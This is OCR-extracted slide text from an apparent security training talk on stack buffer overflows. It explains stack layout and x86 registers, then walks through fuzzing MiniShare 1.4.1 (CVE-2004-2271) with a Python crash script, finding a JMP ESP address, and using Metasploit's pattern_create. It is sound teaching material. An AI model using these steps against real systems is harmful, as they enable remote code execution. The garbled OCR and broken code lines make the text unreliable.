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Buffer Overflow
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What is an overflow?

Too much data in a space not designed for it
Putting 10lbs obktuff in a 5lb bag

Stack Based (Focus on today)

Heap Based (That is another show)



Aleph One

Elias Levy founded Bugtrag mailing list
FullkDisclosure created as a protest to him selling

out!
701 OA O31 AOEET ¢ OEA
00l £ZE OO0

Published in Phrack Magazine 49 (1996)
The first highquality public step by step
iIntroduction to the stack buffer overflow



So what button do | push to pwn?

To understand this we need to understand
Eil x A Al 1 DOOAO OAAI I
Intel x86 CPU
How are processes organized in memory
Text- Code/Instructions and readnly data
Data- Static Variables

Stack <~~ We are going to rough you up!!!!



Picture i1s worth some words

fomm e \  lower
memory
Text addresses
(Initialized)
Data

(Uninitialized)

Stack higher

memory
Sy / addresses




So what is a stack?

Like Legos (LIFO or FILO)
PUSH and POP

PUSH adds to the stack

POP removes the last block on the stack
Why do we use it?

Holds the functions and function variables
User Input
Data needed by the app




Parts of the Stack

Stack Pointer (SP) Top of the Stack
Frame/Base Pointer (BPBottom of the
Stack and Fixed Memory Location

Used to say variable is this memory address
related from BP

Return addressLocation of the code that
called the function so that control can be
returned



Registers used for Stack Smashing

EIP- Address of next instruction
ESP- Address for the top of the stack
EBP- Stack Base Address

EAX/ECX/EDXHolds variables and data
for the application



x86 Registers

EIP = Instruction Pointer
ESP = Stack Pointer
EAX = Accumulator
EBX = Base Index

ECX = Counter

EDX = Data

ESI| = Source Index

EDI = Destination Index



Say Hello to the Stack

Unallocated Stack Space

c[0]

Char c[12]

c[11]

SsSAUPPY Alowop

Stack Growth

Char *bar

Saved Frame pointer

Return Address

Parent Routine's Stack



Hello right back at you!

Unallocated Stack Space

h - | |

o \0
. :
‘g Char c[12] g
2 >
5 = g
3

Char *bar

Saved Frame pointer

Return Address

Parent Routine's Stack



| will smash you fool...

Unallocated Stack Space
Address
Ox80C03508 |
l (Y | A o A
| |
A A A A
. <
3 A A A A §
2
o -
% 3
;
A A A A E
A A A A
Little Endian
4 0x80C03508
\x08 | \x35 | \xCO | \x80 —'
|
Parent Routine's Stack



How is this stuff found?

Source Code Review
Look for The Usual Suspects (Next Slide)
Good for Open Source

Reverse Engineering
Good for Closed Source

Fuzzing



Usual Suspects = Awesome Movie




Vulnerable Construct

Usual Suspects for Overflow

Possible Solutions/Alternatives

Range check %os fields before call-

sprintf( ) -
Vihile
0 Use a for loop or provide strin-

{ gent break conditions. while
oops are often overlooke .
loop f I ked by

fgetc() programmers when searching for

) buffer overflows.

Use a for loop to acquire data
ets() from the command line. Set a

E maximum on the number of char-
acters read.

Ensure parameters cannot be
systerm () modified by the user. Validate
executable name.

strcpy () strncpy()

strcat() strncat()

stremp () strncmp ()

argvl] Determine length of argwv[i]

before parsing or copying.




Fuzzing- What is it?

Send info into the application and walit for the
application to crash.
O'o | AOEIT A
3ATA A AOTAE 1T &£ 06 AEAO «
Look for EIP=A=0x41414141 = AAAA

Or we can use MSF Pattern Create
"O00 1T AOO Al ' AAAEI OA -3&



Target is...

MiniShare 1.4.1
CVE2004-2271

Buffer overflow in MiniShare 1.4.1 and eatrlier
allows remote attackers to execute arbitrary code
via a long HTTP GET request

Download it at:
http://ftp.heanet.ie/disk1l/sourceforge/m/project/
mi/minishare/OldFiles/minishard.4.1.exe



Attacker System: 192.168.20.11
BackTrack 4

Victim System: 192.168.10.27
Windows XP SP2 <~~~ This is important
MiniShare 1.4.1
OllyDbg 1.10



Lets break this application

Exploit DB:http://www.exploit-
db.com/exploits/636
Send a large GET request to the application
Standard GET request Is:

GET/HTTP/1.1
The bad request Is:

GET [long string of A characters]
HTTP/1.1[new line, carriage return x 2]



http://www.exploit-db.com/exploits/636
http://www.exploit-db.com/exploits/636
http://www.exploit-db.com/exploits/636

Code Time in Python

#!/usr/bin/python
Import socket

target address="192.168.10.27"
target port=80

buffer = "GET " AX41" * 2220 + " HTTP/Arin\r\n"

sock=socket.socket(socket.AF INET,
socket.SOCK_STREAM)
connect=sock.connect((target_address,target _port))
sock.send(buffer)

sock.close()



Great, you broke it. Now what?

We need to see what Is going on the server.
We use a debugger for this.



Attach Debugger to minishare.exe

:: - = x|
Bl x| ] w4 ¥4 W o+ LlE[m|T|w]E[c|/|K[B[R]..|5] iZ[if]?]

# |Begisters (FPLUD < < <
Open 32-bit executable @
Loak. in: | ) MiniShare ﬂ EF Ed~
[idocs
minishare.exe
@uninst.exe
v
Filename:  |mirishare. eve
Radress [Hen durp [mecii | Files of type: |E:-:ecutab|e file [*.exe] j Cancel v =
Arguments: | ﬂ

QllyDbg +1.10 Feady




Get to know OlIDbg

OllyDbg
File Wiew Debug Plugins Options Window Help - x
Bl x] 1] i+ 34 ] =+ i|E|M|T|w|H|c|/|K|B|R]-|5]
Regi [FFUI < < <
&
GEZZFFED
. FCIAEETS
. CPU Instructions choieels
BEIEEEAE
1
1
BE3E
-
ERROR_MOD_MOT_FOUND { BERERETE )
BEBREELE
o~
v Registers
1 . GIENEIE ENEE EIEND EIE R
w 1 . BIEE EE BENE BEE HHSEHEE
4828 1 1
Address |Hex dump |AscIT | s
BE BE G0 B8 B9 OE CE 41) ..... TR
£l £,
&
&
¢
b
; Memory dump
£
&
¥
¥
£
¥
g Stack
DA
w b
Frogram entry paint Fauzed




Back to Breaking Things- Registers

EIR What will the CPU do next?
ESR Current Entry on the Stack

Registers [FFLUI <, <, .




Back to Breaking Things- Stack

1142396 % JESESENE S
" - P, 41414141
What Is In the Stack” oldciatel aigiaiad
Al1422914| 41414141

Al4=2=2918 41414141

A142291C| 41414141

41_A HAldz2=2920 41414141
Al14229241 41414141

Aldz22928 41414141
A142292C1 41414141
Al14229201 41414141
A1422924 41414141
Al14229238 41414141
Al422923C1 41414141
Al1422944 41414141
Al1d422944| 41414141
A1422948 41414141
Ald4=2=294C| 41414141
A142295H 41414141
Hld4z2=2954| 41414141
A1422958 41414141
A142295C| 41414141
A14229ad| 41414141

Ll 700t dldld1d1]




What did we achieve here?

EIP=41414141
ESP=41414141

71T x8 A AOT AE | £ 18608 4 |

So What!!!!



Lets put on our thinking cap!

If we could put some of our code In the stack
which is located at the location stored in ESP
Shell code
Meterpreter

Any thing you want
If we could tell the CPU to execute that code

EIP = Next set of instructions to execute
EIP point to JMP ESP

ESP points to our Shell code/ Meterpreter/ Any
thing you want



So lets call ESP and call it a day

JMP ESP will jump to the memory address
located in ESP and execute the code located
In that memory address

Registers work with memory addresses.
Registers are pointers
Registers are not machine code



If only we knew where a JMP ESP
would be?




| get by with some help from my

|
friends .dll

@File View Debug Plugins Options Window  Help

Blex| v w4 ¥ 4+ ufE|m|v]wn|c|/|k[B|R|.s| ]

Base  |Size  |Entry  |Mame  JFile version  |Path
BELEREER| BESE30EE | BEYEHEEE| min ishar C:wProgram FilessMiniSharesminishare,exe
SAD7OEEE BEAISEEE| SA071626( yuthene |6, @A, 2968, 2188 | CosWINOOWS sy stem32mutheme, dl 1
SDE9REAR| BRAT7EEE S0A9320A( COMCTL3Z| 5. 82 (spsp_sp2_1 CrsWINDOWS sy stem32-COMCTLAZ, OLL
GEZBAEAA| BEASSAEE| A62EFREL (hnetcfg |5.1.26680, 2188 [ CosWINDOWS sy stem32 hnetofa.dll
71ASOEEE| BEAIFEEE| 71AS14C0| mewsock | 5.1, 26680, 2188 [ CosWINDOWS Sy stem32 mewsock . dl 1
71AS06EA| BEAESEEE| 71A9142E| wshtopip| 5.1, 2600, 2188 [ CosWINDOWS Sy stem32 wshtopip.dll
71ARBEEA| BEAESAEE| 71AA1E42( WSZHELF |S.1,2680,2188 [ CosWINDOWS cystem32-WS2HELP. L1
71AEREAA| BEA1TESE 7IAB1Z273(WS2_32 | E.1,2680,2188 [ CosWINDOWS system32-52_32,0LL
747 2000A BER4EADE| 74721 3R5( MSCTF 5.1.2688,2180 [ Co~JINDOWS system32-HMSCTF. AL 1
7E3E0RAAA| BEA49E88 7ASE1RBS| COMDLG3Z| 6. 8@, 2908, 2188 | Cr<WINDOWS sy stem32-COMOLG3Z, OLL
FEFZ0BEA| BEAZT7EEE| 7AF28362( ONSAPT | 5.1,2680, 2188 (: CosWINDOWS cystem32+ONSAPT. LI
FEFEOAAA| BEAZCABE| 7EFE113A( WLDAP3Z |5.1,2680, 2188 [ CosWINDOWS cystem32+WLOAP3Z. 411
FEFERAAA| BRARSAEE| 7AFE] IS0 winrn 1.26688, 2188 [ CosWINDOWS Sy stem32 wincnr.dll
FEFCORAA| BEARGAEE| TAFC142B| rasadhlp| 5.1, 2600, 2188 [ CosWINDOWS sy stem32 rasadh lp.dlL
71 2AEEA| BEEECEEE 77121558( OLEAT32| 5.1, 26688, 2188 | Cr~WINDOWS sy stem3a~0LEAUTIZ. OLL
FralAEEA| 68182688 773042B3| comct [_1 .? [upsp_sp2_r] CosWINDOWS W inSs 5 wsB86_Hicrosoft, W indows. Common-Controls_g595bad1ddcof 1df _6. 6. 2688, 2180_x-ww_aBdf LFf oomct 132411

A

1

1

1

g

g

g
TrAEBBEA| BE13CHRA) Tr4F2AC] | oled2 (5.1, 2660, 2188 (¢ CoINDOWS system3z oledz. dl
TrC1REEE| ABACEE0E) FYCIF2RT (mevert | 7.0, 2680, 2188 (1 CouWINDOWS sy stem32umsvors. dll
TrO4E068| ABA%EREA) TYOSEERY| USERZZ (6.1, 26680, 2188 (¢ C:-WINDOWS system3z USERIE. 11
TrO0BEEE | AEE9EEEE TYO07EDY| AOVARTSZ 5.1, 2668, 2188 (1 CoIINDONS sy stem32~AOUAPTIZ. A1 L
TrEFEBEA| BBAS1AAA) TYETE2E4| RFCRT4 (6.1, 2660, 2188 (¢ Co-WINDOWS system32~RFCRT4. 11
TrF 1G0EA| ABR466EE) TYF163CA| GOT32 (5.1, 26680, 2188 (¢ C:INDOWS system32~a0laz2. dl |
TrFEREHE| BEE7EE0E TYFES103( SHLWAPT | 6,80, 2988, 2188 | CoINDOWS sy stem32SHLWART. dL 1
TLOBREHE AEAF4806 TCIEB436| kerne 32| 5.1, 2668, 2188 () CouIINDONS sy stem32nkernel32.d1 L
TLABRERE | BEEBEEEE FCA13156| ntdl | E.1,2668, 2188 0 CrsWINDOWS system32ntdll.dL1
FLACHREE| BES14608) TCOOFALA| SHELL32 | 6,06, 2968, 2188 | CrWINDOMS system32~SHELLSZ. L1




Lets find a .dll that has JMP ESP

Avoid address with zero bytéx(Q0)

String Terminator in C and it breaks exploits
Avoid Line Feedx0a)

It breaks exploits
Avoid Carriage Returnx0d)

Do you sense a common theme?

Windows .DLL are good
shell32.dll or user32.dll usually work well



View Code in CPU

Lyt nishare.exe - [Executable modules]
@File Wiews Debug Plugins Options  wWindow Help

Bl x] wju] wi+] H G ] « v[E[mM[T[w[H]c[/[K[B]R]..|5] iF

Base |Size | Entry | Hame |File version |Path

BE4EAEEE | BASEZEEE | BAYSEEEE| min ishar C:~Program FLles\NLnLShare\anlshare.eHe
CADTEEEE | 0832808 SADTIE2E | witheme | 6,08, 2988, 2188 | Co~WINDOWS-system32unthemes. d

EDB2E0EE| A0A97A6E E0BIS20A| COMCTLE2| 5.82 (4psp_sp2_i \MINDDMS\systENSE\CDMCTLSE OLL
EEZBAREE| AOASIEA0E S62EVASL| hnetofa laz2e@3, 2128 (f Co-WINDOWS - sustend2~hnetofa.dlL

71ASHEEE | BEASFAEE| F1AS14C0| mewsock L1.2688. 2188 (f C:~WINDOWS-Swsten32~mswsock.dL L

T1AZE66E | A0A83868 | F1AF142E | wshtopip 268d. 2188 ({ C:WIMNDOWSSysten32wwshtopip.dll
T1AABGEEE| B0as2808 F1AA1&42 | WS2HELP . 2608, 2128 E =WINDOWE~systen32~WS2HELP. AL L
=
0y ™

T1ABEGEEE 0BEl17e6eE T1ABLZ7I| WSZ_52 2, 2180 WIHDOWS ~swsten32~NE2_22.0LL
2, 2180 ~UIHDOWS ~=wst em32~MECTF. dL L

0, 29606, 2128 =WIMDOWS 5w st em32~COMOL G2, DLL
2668E. 2180 (f C:-~WNINDOWS~systen32~0NSAPI.LL
2688, 2188 (f C:~WINDOWSsystem32WLOAP32. L1
26860, 2186 (§ C:~WIHDOWS~System32~wincnr.dll
L2880, 2128 (f Co~WIMDOWS~system32~rasadh lp.dll
2, 2180 ~WIHOOWS swsten32~0LEAUTZ2. DLL

1.

i
747200068 048608 F47213AS| MSCTF é
1.
1.
1.
}
? (Hpsp_sp2_1 ;\MINDDMS\MlnSHS\HBS_MicrnsoFt.windnws.Eommnn—tontroLs_6595b64144ch1dF_6.B.268@.2188_H—uu_a84F1FF9\comctlSE.dll
a.
1
1
1
1
=]
1.
1.
a

£
£
5
5.
E.
E
TESBRAOAE BOA40060 TEIB1ABS| COMOLGSZ &,
THF2EREE | BAE27AEE | FoF 28363 DMSAPT 5.
THFEEEEE | BAE2CABE FoF61138) WLOAP3Z2 | 5.
TEFEOOEE Ba8as0e8 FeFELLED winrnr | S.
TEFCEEEE | BOABcAEE | PEFCI42E| rasadh lp| E.
Trizanaes apascang TR1215E8) OLEAUTS2 £
7raDanaE| aola2ang Tra042E3) comot L1 €
Tr4ERREE| BA13CABA TR4F2ACL | ole32 5.
7rC1BREE  BAASSAEE | FPCIF2AL | moucrt 7.
7r048088 Ba8930068 FP0SEEES USERSZ2 | .
7rODEEEE | BEacBanE PPO0PE04| ADUAPISZ &
TYEVEDEE| A0A%1a0E FFEVEZ24| RPCRT4 E

6.

5.

5.

E.

G012
TrEEEREE | BAAToEEE TPFES103 | SHLWAPT
TCEEEEEE | BAAF4888 | FCEAE436 | kerne 132
TLIEE0EE ) BAEEEOEE ) FCA13156 ntdl L
TLoCBEEE 602148608 PCODFALE| SHELLS2

26860, 2188 (§ C:~NIHDONS~system32-mswcot.dl L
~WIHOOWS swsten32~USERSZ. AL L
~WIHOOWS systenI2~AOUARIZZ. ?ll

[ L
2E@E, 2188 (f Cr-WIMDOWS~system3a~E0I32.dl1
B, 29600, 2188 | C:~WIMDOWS~swstem32~SHLWAPI.ALL
268, 21868 (f C:~WINMDOWS~system32~kerne [32.d1L1
2000, 21288 (f Cr~WINDOWS susten32wntdll.dll
. 29858, 2188 | C:~WINDOWS-systen32~SHEL == 11

Actualize
Yiew memoary

C
E
2688, 2188 (f C:~WNIMDOWS~sustem32~ole32.dLL
C
qC:
C:
C:

Fallow enkry

Durnp data in CPU

Wiew names Chrln
Mark as non-systemn DLL

Update ,udd file now

Yiew executable File
Yiew all resources
iew resource strings

Analyze al modules

Copty to clipboard 3
Sart by 3
Appearance »




Search fora command

Iy bg - minishare.exe - - thread 00000 /1C, module SHELL32]
File ‘“iew Debug Plugins ©Options  Window  Help
e B ] 9 | man
| r | M P E S P Sldx] »n| i+ Hu o + LE/mT]wa]c]/|x|B|R[..|s]| E[H]?]
rCAC1iaER| 1BCZ T
C2 77ar Backup 3
2 Illegal use of register
~F7 87 Copy Fodiuy
. Illegal use of register
w77 &7 Binary ks
EE Assemble Space
_ZECES Label :
«rr 51 .
EE Commerft H
’\ZE = Breakpaint 3
.3
o Run trace
~F7 _ET -
FFC2 Mew origin here Chrligray *
=rr 24
SC Go ko »
c3
—77 CC Thread 3
:;; Eg Fallow in Dump [N
—rE C4
_E; CE?? au 4 Mame (label}in current module Chrl+N ogicter
:;; BE | 4 Mame in all modules .
22:04?? AT Vigw » - - register
72 Command Ctrl+F
Copy to executable 3
"EE 18 Amalsic ’ Sequence of cammands Chrl+5
Eg?? 51 ¥ Conskant register
C3 Bookmark, 4 Binary string Chrl+B
w“rr 2F
2EC4 77 ek Chrl+L
SAFC CS Appearance 4
«“rr 3B S — .
POP 55 All inkermodular calls register
C47v 11 LES ESI,FWORD PTR DS5:[EDI+ register
=] S oT CTC BT oo rCoeo o] Al commands
&l sequences
All constants
Address |Hex dump lAscIT | all swikches
all referenced text strings
User-defined label
User-defined comment




That will do pig... That will do

We can use 0x7CA58265 of shell32.dll

OllyDbg - minishare.exe - [CPU - thread 0000071C, module SHELL 3]

C| File “iew Debug Plugins Options Window  Help

44| x| 1| %2 %2 35(): | =i L|E(M|T|W| H|C|/|E|B|R|...|85
| FCRS2Z2E5| FFE4 | JMF ESF |

No bad charactersX00x0ax0d)




Fuzzing redux

We need the exact location In the buffer that
overwrites EIP so we can put in Ox/7CA58265

91 O AEAT 00 A& OCAO OEAO
ESP did you? Just Checking

Metasploit has an app for that
Say Thank you to the Metasploit Team!

pattern_create.rb



In BackTrack it is located here:
/pentest/exploits/framework3/tools/

Jpattern_create.rb <length of pattern>
Jpattern_create.rb 2220

Generates some output (Long)
AaOAalAa2Aa3....Cv4CvoCveCv/7Cv8Cv9



